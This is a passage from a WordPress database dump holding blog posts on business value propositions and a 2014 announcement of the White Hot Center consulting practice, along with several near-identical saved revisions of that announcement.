with you. There are the six pillars that you must consider when creating your value proposition to customers and clients:\n\n<strong><em>1) The target audience</em></strong>\nYou must identify the attributes that define the ideal customer segment your business serves. What attributes comprise your ideal client or customer? What are the specific factors that determine who your ideal clients? It could be any number of attributes like: industry, location, size, attitudes, motivations and demographic descriptions. You must define those people who closely represent your most fervent customers and clients.\n\nDefining these attributes will allow a prospective client on the receiving end of your marketing and sales conversations to determine “check, they work with companies like ours or people like me”.  More importantly you have a specific and well defined target to aim your marketing at.\n\n<strong><em>2) The customer need / business problem.</em></strong>\nYou need to consider the specific ways your products or services fulfill customer needs. Customer needs are often unspoken. For example, customers weren’t expressing a need for Apple’s iPhone. However once realized, customer’s couldn’t live without it. What needs do you fulfill that are unrealized by your customers, and once revealed to them, will have them standing in line outside your door? If your busness is professional services, what highly valued business problems do you solve for your ideal clients?\n\nKnowing how you help your ideal prospects understand the context that enhances your relevance to their needs is a critical element in creating your value proposition that enhances your competitive advantage.\n\n<strong><em>3) The value of your solution.</em></strong>\nWhat are the functional and emotional benefits customers receive from your products? What is the business value of your solution to your clients? You must always provide more “use value’ in the mind of your customer than they pay you in cash value. This will make your price irrelevant and enable your business to command premium prices.\n\nThis will help your customers and clients realize WHY they should fulfill their need or solution by purchasing your products and services .\n\n<strong><em>4) Your products and services.</em></strong>\nNotice that your products or services are not the first order of importance here. Your offerings do not lead your value proposition. We are taking a customer-centric approach and framing your offerings within the context of the needs you help your customers fulfill, or the solutions you provide that improve the client’s condition. It’s about providing outcomes (experiences) customers love!\n\n<strong><em>5) The reasons to believe.</em></strong>\nHow do you substantiate your claims? How do you deliver what you promise? How have you demonstrated your products and services work for customers and clients?\n\nYou must prove your value by providing compelling reasons to believe. You can use stories, case studies, testimonials and any number of methods to provide proof your offerings deliver on the value promised.\n\n<strong><em>6) The point of difference.</em></strong>\nWhy are your products preferable to other alternatives available? You must have a compelling, emotional benefit that is highly valued in the minds of customers and clients and difficult for your competitors to match. It’s not enough to be different for difference sake. Your difference must also be highly valued!\n\nThese six pillars form the DNA of a value proposition statement that will drive your product development, capabilities, marketing communication, sales conversations and your behavior in the marketplace.\n\n<em>If you found this post helpful, please subscribe to The White Hot Center!</em>', 'The Six Pillars of your Value Proposition.', 0, '', 'inherit', 'open', 'open', '', '2511-revision-5', '', '', '2013-10-07 17:39:25', '2013-10-08 00:39:25', '', 2511, 'http://www.whitehotcenter.com/2013/10/2511-revision-5/', 0, 'revision', '', 0),
(2519, 2, '2014-01-06 17:36:19', '2014-01-07 00:36:19', '<h1><img class="alignnone size-full wp-image-2520" title="new beginning" src="http://whc.fbdev.org/wp-content/uploads/2014/01/growth-e1363826149747.jpg" alt="" width="515" height="312" />\r\nAs many of my readers know, this blog has been a labor of love for me. It never was my intention for the White Hot Center it to be a “business”. This year, I have changed my thinking on that.</h1>\r\nFor the past few years, the White Hot Center has been a blog where I share my interest, expertise and knowledge on building bigger futures for early stage entrepreneurs and solo professionals. It’s a new year (again). Each new year offers opportunity for creative entrepreneurs to assess, evaluate, eliminate and innovate in their business.  No doubt you are in a similar frame of mind–hopeful and optimistic that this will be the year it all comes together for your business.\r\n\r\nFor many business people, the year-end and new-year beginning is a time of planning and introspection. No surprise there. Every year brings the hope and promise that things will be better in the new year then they were in the last. Or at the very least, not get any worse. Either way, the annual ritual of thinking and planning for the year ahead is inescapable for entrepreneurs. It’s kind of a hard-wired thing.\r\n\r\nLike you, I have been doing my own assessment of the state of things in my business and in my professional life. I am asking myself “will this be the year my White Hot Center vision finally comes together?”\r\n\r\nI believe it to be so!\r\n\r\nI am pleased to say in 2014 I will be devoting more of my creative energies to building the White Hot Center as a strategic consulting practice for personal and professional development, leadership, value creation, innovation and business development specifically for early stage creative entrepreneurs, solo professionals and emerging organizations seeking more clarity and confidence to turn their possibilities into achievement.\r\n\r\nOf course, I‘ve played with this idea in many forms over the past couple years. The big distraction keeping me from realizing my WHC vision was the fact my primary consulting practice been serving marketing people in large organizations primarily as a brand strategist and creative consultant. And while serving large organizations over the years has been financially lucrative, it has grown more difficult for me to gain the level of deep personal satisfaction of making a difference for people. Big is not always better.\r\n<h2>In working with entrepreneurs building next generation companies this past year, the difference for me in terms of love, creativity, fulfillment and satisfaction has been remarkable.</h2>\r\nSeemingly, I have discovered something more authentic about my own gifts and capabilities helping others to connect their vision and action into a powerful creative force for business and life success. In many ways, I am at long last ready to step out and serve people in more direct ways not possible in my traditional business.\r\n\r\nIn addition to blogging (which I love), this year I will be offering several forms of strategic consulting and guidance through the White Hot Center specifically tailored to the needs of entrepreneurs, solo professionals and CEOs of emerging companies.\r\n\r\nThis year, the main focus of the White Hot Center will be producing more one-day facilitated <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Quantum Leap Business Development Workshops</a> that help entrepreneurs and solo professionals build the right foundation to create more competitive advantage in their business development and sales activities.\r\n\r\nIn addition to the facilitated workshops, the WHC site will be redesigned to include various online self-training products in brand strategy, marketing, communications and strategic business development. These self-directed learning products will also be bundled to include various levels of individual strategic consulting support as well.\r\n\r\nComponents of the WHC consulting practice are already in place, and this past year I was privilaged to work with several entrepreneurs and emerging business organizations in the US helping them to successfully navigate the challenges of their next level of growth.\r\n\r\nFrom these amazing client experiences, I’ve come to a realization I can do my greatest work, offer the greatest value that is proven to produce a return on investment and more importantly serve the needs of my fellow entrepreneurs in ways that create bigger futures for their business and for their whole life experience.\r\n\r\nYou can learn more about the various consulting options available and the investment required in the <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">“Consulting”</a> section of the site.\r\n\r\nAnd for my blog readers, I’m making a renewed commitment to you to keep my writing frequent, interesting, inspiring and most of all useful! Please continue to share your comments. If you are new to The White Hot Center, I invite you to subscribe for free. Just fill out the form on the right. The free report will give you a head start on building competitive advantage in your business. I promise your privacy is protected and I won''t spam your in box with endless sales offers.\r\n\r\nI wish you all a most prosperous and joyful New Year!', 'The White Hot Center in 2014: a new beginning!', 0, '', 'publish', 'open', 'open', '', 'the-white-hot-center-in-2014-a-new-beginning', '', '\nhttp://www.whitehotcenter.com/consulting/', '2014-01-06 17:48:25', '2014-01-07 00:48:25', '', 0, 'http://www.whitehotcenter.com/?p=2519', 0, 'post', '', 2),
(2520, 2, '2014-01-06 17:05:30', '2014-01-07 00:05:30', '', 'new beginning', 0, '', 'inherit', 'open', 'open', '', 'growth-e1363826149747', '', '', '2014-01-06 17:05:30', '2014-01-07 00:05:30', '', 2519, 'http://www.whitehotcenter.com/wp-content/uploads/2014/01/growth-e1363826149747.jpg', 0, 'attachment', 'image/jpeg', 0),
(2521, 2, '2014-01-06 17:11:55', '2014-01-07 00:11:55', '<h1><img class="alignnone size-full wp-image-2520" title="new beginning" src="http://whc.fbdev.org/wp-content/uploads/2014/01/growth-e1363826149747.jpg" alt="" width="515" height="312" />\nAs many of my readers know, this blog has been a labor of love for me. It never was my intention for the White Hot Center it to be a “business”. This year, I have changed my thinking on that.</h1>\nFor the past few years, the White Hot Center has been a blog where I share my interest, expertise and knowledge on building bigger futures for early stage entrepreneurs and solo professionals. It’s a new year (again). Each new year offers opportunity for creative entrepreneurs to assess, evaluate, eliminate and innovate in their business.  No doubt you are in a similar frame of mind–hopeful and optimistic that this will be the year it all comes together for your business.\n\nFor many business people, the year-end and new-year beginning is a time of planning and introspection. No surprise there. Every year brings the hope and promise that things will be better in the new year then they were in the last. Or at the very least, not get any worse. Either way, the annual ritual of thinking and planning for the year ahead is inescapable for entrepreneurs. It’s kind of a hard-wired thing.\n\nLike you, I have been doing my own assessment of the state of things in my business and in my professional life. I am asking myself “will this be the year my White Hot Center vision finally comes together?”\n\nI believe it to be so!\n\nI am pleased to say in 2014 I will be devoting more of my creative energies to building the White Hot Center as a strategic consulting practice for personal and professional development, leadership, value creation, innovation and business development specifically for early stage creative entrepreneurs, solo professionals and emerging organizations seeking more clarity and confidence to turn their possibilities into achievement.\n\nOf course, I ‘ve played with this idea in many forms over the past couple years. The big distraction keeping me from realizing my WHC vision was the fact my primary consulting practice been serving marketing people in large organizations primarily as a brand strategist and creative consultant. And while serving large organizations has been financially lucrative, it has been difficult for me to gain the deep personal satisfaction of making a difference for people.\n\nIn working with entrepreneurs building next generation companies, the difference for me in terms of love, creativity, fulfillment and satisfaction has been remarkable. Seemingly, I have discovered something more authentic about my own gifts and capabilities helping others to connect their vision and action into a powerful creative force for business and life success.\n\nIn many ways, I am at long last ready to step out and serve people in ways not possible in my traditional business. In addition to blogging (which I love), this year I will be offering several forms of strategic consulting and guidance through the White Hot Center specifically tailored to the needs of entrepreneurs, solo professionals and CEOs of emerging companies.\n\nThis year, the main focus of the White Hot Center will be producing more one-day facilitated Quantum Leap Business Development Workshops that help entrepreneurs and solo professionals build the right foundation to create more competitive advantage in their business development and sales activities.\n\nIn addition to the facilitated workshops, the WHC site will be redesigned to include various online self-training products in brand strategy, marketing, communications and strategic business development. These self-directed learning products will also be bundled to include various levels individual strategic consulting support as well.\n\nComponents of the consulting practice are already in place, and this past year I worked with several entrepreneurs and emerging business organizations in the US helping them to successfully navigate the challenges of their next level of growth.\n\nFrom these amazing client experiences, I’ve come to a realization I can do my greatest work, offer the greatest value that is proven to produce a return on investment and more importantly serve the needs of my fellow entrepreneurs in ways that create bigger futures for their business and for their whole life experience.\n\nYou can learn more about the various consulting options available and the investment required in the <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">“Consulting”</a> section of the site.\n\nAnd for my blog readers, I’m making a renewed commitment to you to keep my writing frequent, interesting, inspiring and most of all useful! Please continue to share your comments. If you are new to The White Hot Center, I invite you to subscribe for free. I promise your privacy is protected and I won''t spam you with endless offers.\n\nI wish you all a most prosperous and joyful New Year!', 'The White Hot Center in 2014: a new beginning!', 0, '', 'inherit', 'open', 'open', '', '2519-revision', '', '', '2014-01-06 17:11:55', '2014-01-07 00:11:55', '', 2519, 'http://www.whitehotcenter.com/2014/01/2519-revision/', 0, 'revision', '', 0);
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(2522, 2, '2014-01-06 17:12:12', '2014-01-07 00:12:12', '<h1><img class="alignnone size-full wp-image-2520" title="new beginning" src="http://whc.fbdev.org/wp-content/uploads/2014/01/growth-e1363826149747.jpg" alt="" width="515" height="312" />\r\nAs many of my readers know, this blog has been a labor of love for me. It never was my intention for the White Hot Center it to be a “business”. This year, I have changed my thinking on that.</h1>\r\nFor the past few years, the White Hot Center has been a blog where I share my interest, expertise and knowledge on building bigger futures for early stage entrepreneurs and solo professionals. It’s a new year (again). Each new year offers opportunity for creative entrepreneurs to assess, evaluate, eliminate and innovate in their business.  No doubt you are in a similar frame of mind–hopeful and optimistic that this will be the year it all comes together for your business.\r\n\r\nFor many business people, the year-end and new-year beginning is a time of planning and introspection. No surprise there. Every year brings the hope and promise that things will be better in the new year then they were in the last. Or at the very least, not get any worse. Either way, the annual ritual of thinking and planning for the year ahead is inescapable for entrepreneurs. It’s kind of a hard-wired thing.\r\n\r\nLike you, I have been doing my own assessment of the state of things in my business and in my professional life. I am asking myself “will this be the year my White Hot Center vision finally comes together?”\r\n\r\nI believe it to be so!\r\n\r\nI am pleased to say in 2014 I will be devoting more of my creative energies to building the White Hot Center as a strategic consulting practice for personal and professional development, leadership, value creation, innovation and business development specifically for early stage creative entrepreneurs, solo professionals and emerging organizations seeking more clarity and confidence to turn their possibilities into achievement.\r\n\r\nOf course, I ‘ve played with this idea in many forms over the past couple years. The big distraction keeping me from realizing my WHC vision was the fact my primary consulting practice been serving marketing people in large organizations primarily as a brand strategist and creative consultant. And while serving large organizations has been financially lucrative, it has been difficult for me to gain the deep personal satisfaction of making a difference for people.\r\n\r\nIn working with entrepreneurs building next generation companies, the difference for me in terms of love, creativity, fulfillment and satisfaction has been remarkable. Seemingly, I have discovered something more authentic about my own gifts and capabilities helping others to connect their vision and action into a powerful creative force for business and life success.\r\n\r\nIn many ways, I am at long last ready to step out and serve people in ways not possible in my traditional business. In addition to blogging (which I love), this year I will be offering several forms of strategic consulting and guidance through the White Hot Center specifically tailored to the needs of entrepreneurs, solo professionals and CEOs of emerging companies.\r\n\r\nThis year, the main focus of the White Hot Center will be producing more one-day facilitated Quantum Leap Business Development Workshops that help entrepreneurs and solo professionals build the right foundation to create more competitive advantage in their business development and sales activities.\r\n\r\nIn addition to the facilitated workshops, the WHC site will be redesigned to include various online self-training products in brand strategy, marketing, communications and strategic business development. These self-directed learning products will also be bundled to include various levels individual strategic consulting support as well.\r\n\r\nComponents of the consulting practice are already in place, and this past year I worked with several entrepreneurs and emerging business organizations in the US helping them to successfully navigate the challenges of their next level of growth.\r\n\r\nFrom these amazing client experiences, I’ve come to a realization I can do my greatest work, offer the greatest value that is proven to produce a return on investment and more importantly serve the needs of my fellow entrepreneurs in ways that create bigger futures for their business and for their whole life experience.\r\n\r\nYou can learn more about the various consulting options available and the investment required in the <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">“Consulting”</a> section of the site.\r\n\r\nAnd for my blog readers, I’m making a renewed commitment to you to keep my writing frequent, interesting, inspiring and most of all useful! Please continue to share your comments. If you are new to The White Hot Center, I invite you to subscribe for free. I promise your privacy is protected and I won''t spam you with endless offers.\r\n\r\nI wish you all a most prosperous and joyful New Year!', 'The White Hot Center in 2014: a new beginning!', 0, '', 'inherit', 'open', 'open', '', '2519-revision-2', '', '', '2014-01-06 17:12:12', '2014-01-07 00:12:12', '', 2519, 'http://www.whitehotcenter.com/2014/01/2519-revision-2/', 0, 'revision', '', 0),
(2523, 2, '2014-01-06 17:13:08', '2014-01-07 00:13:08', '<h1><img class="alignnone size-full wp-image-2520" title="new beginning" src="http://whc.fbdev.org/wp-content/uploads/2014/01/growth-e1363826149747.jpg" alt="" width="515" height="312" />\r\nAs many of my readers know, this blog has been a labor of love for me. It never was my intention for the White Hot Center it to be a “business”. This year, I have changed my thinking on that.</h1>\r\nFor the past few years, the White Hot Center has been a blog where I share my interest, expertise and knowledge on building bigger futures for early stage entrepreneurs and solo professionals. It’s a new year (again). Each new year offers opportunity for creative entrepreneurs to assess, evaluate, eliminate and innovate in their business.  No doubt you are in a similar frame of mind–hopeful and optimistic that this will be the year it all comes together for your business.\r\n\r\nFor many business people, the year-end and new-year beginning is a time of planning and introspection. No surprise there. Every year brings the hope and promise that things will be better in the new year then they were in the last. Or at the very least, not get any worse. Either way, the annual ritual of thinking and planning for the year ahead is inescapable for entrepreneurs. It’s kind of a hard-wired thing.\r\n\r\nLike you, I have been doing my own assessment of the state of things in my business and in my professional life. I am asking myself “will this be the year my White Hot Center vision finally comes together?”\r\n\r\nI believe it to be so!\r\n\r\nI am pleased to say in 2014 I will be devoting more of my creative energies to building the White Hot Center as a strategic consulting practice for personal and professional development, leadership, value creation, innovation and business development specifically for early stage creative entrepreneurs, solo professionals and emerging organizations seeking more clarity and confidence to turn their possibilities into achievement.\r\n\r\nOf course, I ‘ve played with this idea in many forms over the past couple years. The big distraction keeping me from realizing my WHC vision was the fact my primary consulting practice been serving marketing people in large organizations primarily as a brand strategist and creative consultant. And while serving large organizations has been financially lucrative, it has been difficult for me to gain the deep personal satisfaction of making a difference for people.\r\n<h2>In working with entrepreneurs building next generation companies this past year, the difference for me in terms of love, creativity, fulfillment and satisfaction has been remarkable.</h2>\r\nSeemingly, I have discovered something more authentic about my own gifts and capabilities helping others to connect their vision and action into a powerful creative force for business and life success.In many ways, I am at long last ready to step out and serve people in ways not possible in my traditional business. In addition to blogging (which I love), this year I will be offering several forms of strategic consulting and guidance through the White Hot Center specifically tailored to the needs of entrepreneurs, solo professionals and CEOs of emerging companies.\r\n\r\nThis year, the main focus of the White Hot Center will be producing more one-day facilitated Quantum Leap Business Development Workshops that help entrepreneurs and solo professionals build the right foundation to create more competitive advantage in their business development and sales activities.\r\n\r\nIn addition to the facilitated workshops, the WHC site will be redesigned to include various online self-training products in brand strategy, marketing, communications and strategic business development. These self-directed learning products will also be bundled to include various levels individual strategic consulting support as well.\r\n\r\nComponents of the consulting practice are already in place, and this past year I worked with several entrepreneurs and emerging business organizations in the US helping them to successfully navigate the challenges of their next level of growth.\r\n\r\nFrom these amazing client experiences, I’ve come to a realization I can do my greatest work, offer the greatest value that is proven to produce a return on investment and more importantly serve the needs of my fellow entrepreneurs in ways that create bigger futures for their business and for their whole life experience.\r\n\r\nYou can learn more about the various consulting options available and the investment required in the <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">“Consulting”</a> section of the site.\r\n\r\nAnd for my blog readers, I’m making a renewed commitment to you to keep my writing frequent, interesting, inspiring and most of all useful! Please continue to share your comments. If you are new to The White Hot Center, I invite you to subscribe for free. I promise your privacy is protected and I won''t spam you with endless offers.\r\n\r\nI wish you all a most prosperous and joyful New Year!', 'The White Hot Center in 2014: a new beginning!', 0, '', 'inherit', 'open', 'open', '', '2519-revision-3', '', '', '2014-01-06 17:13:08', '2014-01-07 00:13:08', '', 2519, 'http://www.whitehotcenter.com/2014/01/2519-revision-3/', 0, 'revision', '', 0),
(2524, 2, '2014-01-06 17:13:15', '2014-01-07 00:13:15', '<h1><img class="alignnone size-full wp-image-2520" title="new beginning" src="http://whc.fbdev.org/wp-content/uploads/2014/01/growth-e1363826149747.jpg" alt="" width="515" height="312" />\r\nAs many of my readers know, this blog has been a labor of love for me. It never was my intention for the White Hot Center it to be a “business”. This year, I have changed my thinking on that.</h1>\r\nFor the past few years, the White Hot Center has been a blog where I share my interest, expertise and knowledge on building bigger futures for early stage entrepreneurs and solo professionals. It’s a new year (again). Each new year offers opportunity for creative entrepreneurs to assess, evaluate, eliminate and innovate in their business.  No doubt you are in a similar frame of mind–hopeful and optimistic that this will be the year it all comes together for your business.\r\n\r\nFor many business people, the year-end and new-year beginning is a time of planning and introspection. No surprise there. Every year brings the hope and promise that things will be better in the new year then they were in the last. Or at the very least, not get any worse. Either way, the annual ritual of thinking and planning for the year ahead is inescapable for entrepreneurs. It’s kind of a hard-wired thing.\r\n\r\nLike you, I have been doing my own assessment of the state of things in my business and in my professional life. I am asking myself “will this be the year my White Hot Center vision finally comes together?”\r\n\r\nI believe it to be so!\r\n\r\nI am pleased to say in 2014 I will be devoting more of my creative energies to building the White Hot Center as a strategic consulting practice for personal and professional development, leadership, value creation, innovation and business development specifically for early stage creative entrepreneurs, solo professionals and emerging organizations seeking more clarity and confidence to turn their possibilities into achievement.\r\n\r\nOf course, I ‘ve played with this idea in many forms over the past couple years. The big distraction keeping me from realizing my WHC vision was the fact my primary consulting practice been serving marketing people in large organizations primarily as a brand strategist and creative consultant. And while serving large organizations has been financially lucrative, it has been difficult for me to gain the deep personal satisfaction of making a difference for people.\r\n<h2>In working with entrepreneurs building next generation companies this past year, the difference for me in terms of love, creativity, fulfillment and satisfaction has been remarkable.</h2>\r\nSeemingly, I have discovered something more authentic about my own gifts and capabilities helping others to connect their vision and action into a powerful creative force for business and life success.In many ways, I am at long last ready to step out and serve people in ways not possible in my traditional business. In addition to blogging (which I love), this year I will be offering several forms of strategic consulting and guidance through the White Hot Center specifically tailored to the needs of entrepreneurs, solo professionals and CEOs of emerging companies.\r\n\r\nThis year, the main focus of the White Hot Center will be producing more one-day facilitated Quantum Leap Business Development Workshops that help entrepreneurs and solo professionals build the right foundation to create more competitive advantage in their business development and sales activities.\r\n\r\nIn addition to the facilitated workshops, the WHC site will be redesigned to include various online self-training products in brand strategy, marketing, communications and strategic business development. These self-directed learning products will also be bundled to include various levels individual strategic consulting support as well.\r\n\r\nComponents of the consulting practice are already in place, and this past year I worked with several entrepreneurs and emerging business organizations in the US helping them to successfully navigate the challenges of their next level of growth.\r\n\r\nFrom these amazing client experiences, I’ve come to a realization I can do my greatest work, offer the greatest value that is proven to produce a return on investment and more importantly serve the needs of my fellow entrepreneurs in ways that create bigger futures for their business and for their whole life experience.\r\n\r\nYou can learn more about the various consulting options available and the investment required in the <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">“Consulting”</a> section of the site.\r\n\r\nAnd for my blog readers, I’m making a renewed commitment to you to keep my writing frequent, interesting, inspiring and most of all useful! Please continue to share your comments. If you are new to The White Hot Center, I invite you to subscribe for free. I promise your privacy is protected and I won''t spam you with endless offers.\r\n\r\nI wish you all a most prosperous and joyful New Year!', 'The White Hot Center in 2014: a new beginning!', 0, '', 'inherit', 'open', 'open', '', '2519-revision-4', '', '', '2014-01-06 17:13:15', '2014-01-07 00:13:15', '', 2519, 'http://www.whitehotcenter.com/2014/01/2519-revision-4/', 0, 'revision', '', 0),
(2525, 2, '2014-01-06 17:15:44', '2014-01-07 00:15:44', '<h1><img class="alignnone size-full wp-image-2520" title="new beginning" src="http://whc.fbdev.org/wp-content/uploads/2014/01/growth-e1363826149747.jpg" alt="" width="515" height="312" />\nAs many of my readers know, this blog has been a labor of love for me. It never was my intention for the White Hot Center it to be a “business”. This year, I have changed my thinking on that.</h1>\nFor the past few years, the White Hot Center has been a blog where I share my interest, expertise and knowledge on building bigger futures for early stage entrepreneurs and solo professionals. It’s a new year (again). Each new year offers opportunity for creative entrepreneurs to assess, evaluate, eliminate and innovate in their business.  No doubt you are in a similar frame of mind–hopeful and optimistic that this will be the year it all comes together for your business.\n\nFor many business people, the year-end and new-year beginning is a time of planning and introspection. No surprise there. Every year brings the hope and promise that things will be better in the new year then they were in the last. Or at the very least, not get any worse. Either way, the annual ritual of thinking and planning for the year ahead is inescapable for entrepreneurs. It’s kind of a hard-wired thing.\n\nLike you, I have been doing my own assessment of the state of things in my business and in my professional life. I am asking myself “will this be the year my White Hot Center vision finally comes together?”\n\nI believe it to be so!\n\nI am pleased to say in 2014 I will be devoting more of my creative energies to building the White Hot Center as a strategic consulting practice for personal and professional development, leadership, value creation, innovation and business development specifically for early stage creative entrepreneurs, solo professionals and emerging organizations seeking more clarity and confidence to turn their possibilities into achievement.\n\nOf course, I ‘ve played with this idea in many forms over the past couple years. The big distraction keeping me from realizing my WHC vision was the fact my primary consulting practice been serving marketing people in large organizations primarily as a brand strategist and creative consultant. And while serving large organizations has been financially lucrative, it has been difficult for me to gain the deep personal satisfaction of making a difference for people.\n<h2>In working with entrepreneurs building next generation companies this past year, the difference for me in terms of love, creativity, fulfillment and satisfaction has been remarkable.</h2>\nSeemingly, I have discovered something more authentic about my own gifts and capabilities helping others to connect their vision and action into a powerful creative force for business and life success.In many ways, I am at long last ready to step out and serve people in ways not possible in my traditional business.\n\nIn addition to blogging (which I love), this year I will be offering several forms of strategic consulting and guidance through the White Hot Center specifically tailored to the needs of entrepreneurs, solo professionals and CEOs of emerging companies.\n\nThis year, the main focus of the White Hot Center will be producing more one-day facilitated Quantum Leap Business Development Workshops that help entrepreneurs and solo professionals build the right foundation to create more competitive advantage in their business development and sales activities.\n\nIn addition to the facilitated workshops, the WHC site will be redesigned to include various online self-training products in brand strategy, marketing, communications and strategic business development. These self-directed learning products will also be bundled to include various levels individual strategic consulting support as well.\n\nComponents of the consulting practice are already in place, and this past year I worked with several entrepreneurs and emerging business organizations in the US helping them to successfully navigate the challenges of their next level of growth.\n\nFrom these amazing client experiences, I’ve come to a realization I can do my greatest work, offer the greatest value that is proven to produce a return on investment and more importantly serve the needs of my fellow entrepreneurs in ways that create bigger futures for their business and for their whole life experience.\n\nYou can learn more about the various consulting options available and the investment required in the <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">“Consulting”</a> section of the site.\n\nAnd for my blog readers, I’m making a renewed commitment to you to keep my writing frequent, interesting, inspiring and most of all useful! Please continue to share your comments. If you are new to The White Hot Center, I invite you to subscribe for free. I promise your privacy is protected and I won''t spam you with endless offers.\n\nI wish you all a most prosperous and joyful New Year!', 'The White Hot Center in 2014: a new beginning!', 0, '', 'inherit', 'open', 'open', '', '2519-revision-5', '', '', '2014-01-06 17:15:44', '2014-01-07 00:15:44', '', 2519, 'http://www.whitehotcenter.com/2014/01/2519-revision-5/', 0, 'revision', '', 0),
(2526, 2, '2014-01-06 17:17:31', '2014-01-07 00:17:31', '<h1><img class="alignnone size-full wp-image-2520" title="new beginning" src="http://whc.fbdev.org/wp-content/uploads/2014/01/growth-e1363826149747.jpg" alt="" width="515" height="312" />\r\nAs many of my readers know, this blog has been a labor of love for me. It never was my intention for the White Hot Center it to be a “business”. This year, I have changed my thinking on that.</h1>\r\nFor the past few years, the White Hot Center has been a blog where I share my interest, expertise and knowledge on building bigger futures for early stage entrepreneurs and solo professionals. It’s a new year (again). Each new year offers opportunity for creative entrepreneurs to assess, evaluate, eliminate and innovate in their business.  No doubt you are in a similar frame of mind–hopeful and optimistic that this will be the year it all comes together for your business.\r\n\r\nFor many business people, the year-end and new-year beginning is a time of planning and introspection. No surprise there. Every year brings the hope and promise that things will be better in the new year then they were in the last. Or at the very least, not get any worse. Either way, the annual ritual of thinking and planning for the year ahead is inescapable for entrepreneurs. It’s kind of a hard-wired thing.\r\n\r\nLike you, I have been doing my own assessment of the state of things in my business and in my professional life. I am asking myself “will this be the year my White Hot Center vision finally comes together?”\r\n\r\nI believe it to be so!\r\n\r\nI am pleased to say in 2014 I will be devoting more of my creative energies to building the White Hot Center as a strategic consulting practice for personal and professional development, leadership, value creation, innovation and business development specifically for early stage creative entrepreneurs, solo professionals and emerging organizations seeking more clarity and confidence to turn their possibilities into achievement.\r\n\r\nOf course, I ‘ve played with this idea in many forms over the past couple years. The big distraction keeping me from realizing my WHC vision was the fact my primary consulting practice been serving marketing people in large organizations primarily as a brand strategist and creative consultant. And while serving large organizations has been financially lucrative, it has been difficult for me to gain the deep personal satisfaction of making a difference for people.\r\n<h2>In working with entrepreneurs building next generation companies this past year, the difference for me in terms of love, creativity, fulfillment and satisfaction has been remarkable.</h2>\r\nSeemingly, I have discovered something more authentic about my own gifts and capabilities helping others to connect their vision and action into a powerful creative force for business and life success.In many ways, I am at long last ready to step out and serve people in ways not possible in my traditional business.\r\n\r\nIn addition to blogging (which I love), this year I will be offering several forms of strategic consulting and guidance through the White Hot Center specifically tailored to the needs of entrepreneurs, solo professionals and CEOs of emerging companies.\r\n\r\nThis year, the main focus of the White Hot Center will be producing more one-day facilitated Quantum Leap Business Development Workshops that help entrepreneurs and solo professionals build the right foundation to create more competitive advantage in their business development and sales activities.\r\n\r\nIn addition to the facilitated workshops, the WHC site will be redesigned to include various online self-training products in brand strategy, marketing, communications and strategic business development. These self-directed learning products will also be bundled to include various levels individual strategic consulting support as well.\r\n\r\nComponents of the consulting practice are already in place, and this past year I worked with several entrepreneurs and emerging business organizations in the US helping them to successfully navigate the challenges of their next level of growth.\r\n\r\nFrom these amazing client experiences, I’ve come to a realization I can do my greatest work, offer the greatest value that is proven to produce a return on investment and more importantly serve the needs of my fellow entrepreneurs in ways that create bigger futures for their business and for their whole life experience.\r\n\r\nYou can learn more about the various consulting options available and the investment required in the <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">“Consulting”</a> section of the site.\r\n\r\nAnd for my blog readers, I’m making a renewed commitment to you to keep my writing frequent, interesting, inspiring and most of all useful! Please continue to share your comments. If you are new to The White Hot Center, I invite you to subscribe for free. I promise your privacy is protected and I won''t spam you with endless offers.\r\n\r\nI wish you all a most prosperous and joyful New Year!', 'The White Hot Center in 2014: a new beginning!', 0, '', 'inherit', 'open', 'open', '', '2519-revision-6', '', '', '2014-01-06 17:17:31', '2014-01-07 00:17:31', '', 2519, 'http://www.whitehotcenter.com/2014/01/2519-revision-6/', 0, 'revision', '', 0),
(2527, 2, '2014-01-06 17:17:38', '2014-01-07 00:17:38', '<h1><img class="alignnone size-full wp-image-2520" title="new beginning" src="http://whc.fbdev.org/wp-content/uploads/2014/01/growth-e1363826149747.jpg" alt="" width="515" height="312" />\r\nAs many of my readers know, this blog has been a labor of love for me. It never was my intention for the White Hot Center it to be a “business”. This year, I have changed my thinking on that.</h1>\r\nFor the past few years, the White Hot Center has been a blog where I share my interest, expertise and knowledge on building bigger futures for early stage entrepreneurs and solo professionals. It’s a new year (again). Each new year offers opportunity for creative entrepreneurs to assess, evaluate, eliminate and innovate in their business.  No doubt you are in a similar frame of mind–hopeful and optimistic that this will be the year it all comes together for your business.\r\n\r\nFor many business people, the year-end and new-year beginning is a time of planning and introspection. No surprise there. Every year brings the hope and promise that things will be better in the new year then they were in the last. Or at the very least, not get any worse. Either way, the annual ritual of thinking and planning for the year ahead is inescapable for entrepreneurs. It’s kind of a hard-wired thing.\r\n\r\nLike you, I have been doing my own assessment of the state of things in my business and in my professional life. I am asking myself “will this be the year my White Hot Center vision finally comes together?”\r\n\r\nI believe it to be so!\r\n\r\nI am pleased to say in 2014 I will be devoting more of my creative energies to building the White Hot Center as a strategic consulting practice for personal and professional development, leadership, value creation, innovation and business development specifically for early stage creative entrepreneurs, solo professionals and emerging organizations seeking more clarity and confidence to turn their possibilities into achievement.\r\n\r\nOf course, I ‘ve played with this idea in many forms over the past couple years. The big distraction keeping me from realizing my WHC vision was the fact my primary consulting practice been serving marketing people in large organizations primarily as a brand strategist and creative consultant. And while serving large organizations has been financially lucrative, it has been difficult for me to gain the deep personal satisfaction of making a difference for people.\r\n<h2>In working with entrepreneurs building next generation companies this past year, the difference for me in terms of love, creativity, fulfillment and satisfaction has been remarkable.</h2>\r\nSeemingly, I have discovered something more authentic about my own gifts and capabilities helping others to connect their vision and action into a powerful creative force for business and life success.In many ways, I am at long last ready to step out and serve people in ways not possible in my traditional business.\r\n\r\nIn addition to blogging (which I love), this year I will be offering several forms of strategic consulting and guidance through the White Hot Center specifically tailored to the needs of entrepreneurs, solo professionals and CEOs of emerging companies.\r\n\r\nThis year, the main focus of the White Hot Center will be producing more one-day facilitated Quantum Leap Business Development Workshops that help entrepreneurs and solo professionals build the right foundation to create more competitive advantage in their business development and sales activities.\r\n\r\nIn addition to the facilitated 